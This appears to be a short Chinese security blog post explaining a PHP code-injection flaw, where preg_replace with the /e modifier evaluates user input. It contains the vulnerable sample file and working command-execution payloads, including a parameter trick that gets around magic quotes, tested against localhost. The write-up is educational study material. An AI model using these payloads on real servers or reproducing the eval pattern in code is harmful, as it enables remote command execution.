【无标题】

php 复制代码
<?php
highlight_file(__FILE__);
$input = $_GET['data'];
echo preg_replace("/(.*)/e", "\\1", $input);
?>

关键的代码如下

php 复制代码
echo preg_replace("/(.*)/e", "\\1", $input);

在 PHP 5.x 中,preg_replace 函数的 /e 修饰符会将替换后的字符串作为 PHP 代码执行。

下面是关于正则表达式的拆解:

. = 匹配单个字符

* = 匹配前面的内容0次或者多次

( ) = 将匹配的内容包裹起来

后面的\\1表示引用第一个括号里面的内容

那么这个代码其实等价于

php 复制代码
echo eval($input);

如果我们直接传递下面的payload,就会出现报错

php 复制代码
?data=system('ls')

原因是因为,PHP魔术引号的原因会自动将'变成\'导致出错

这里我们可以参数二次传递的方式来避免'

下面是我本地测试的payload,用whoami检测命令是否可行

php 复制代码
http://127.0.0.1/s1.php?data=system($_GET[a])&a=whoami

成功执行

相关推荐
买大橘子也用券3 小时前
one_line_php-wp
web安全·网络安全·php
菩提小狗17 小时前
每日安全情报报告 · 2026-04-12
网络安全·漏洞·cve·安全情报·每日安全
pencek19 小时前
HakcMyVM-Quick3
网络安全
zjeweler20 小时前
“网安+护网”终极300多问题面试笔记-全
笔记·网络安全·面试·职场和发展
瘾大侠21 小时前
HTB - Silentium
安全·web安全·网络安全
网络安全许木1 天前
自学渗透测试第14天(信息收集进阶与指纹识别)
linux·网络安全·渗透测试
视觉&物联智能1 天前
【杂谈】-洞察业务风险潜藏暗礁:影子人工智能如何重塑移动威胁格局
人工智能·网络安全·aigc·agi
瘾大侠1 天前
OSCP+ 100分 7小时考试心得分享
安全·web安全·网络安全
lingggggaaaa1 天前
PHP模型开发篇&MVC层&动态调试未授权&脆弱鉴权&未引用&错误逻辑
开发语言·安全·web安全·网络安全·php·mvc·代码审计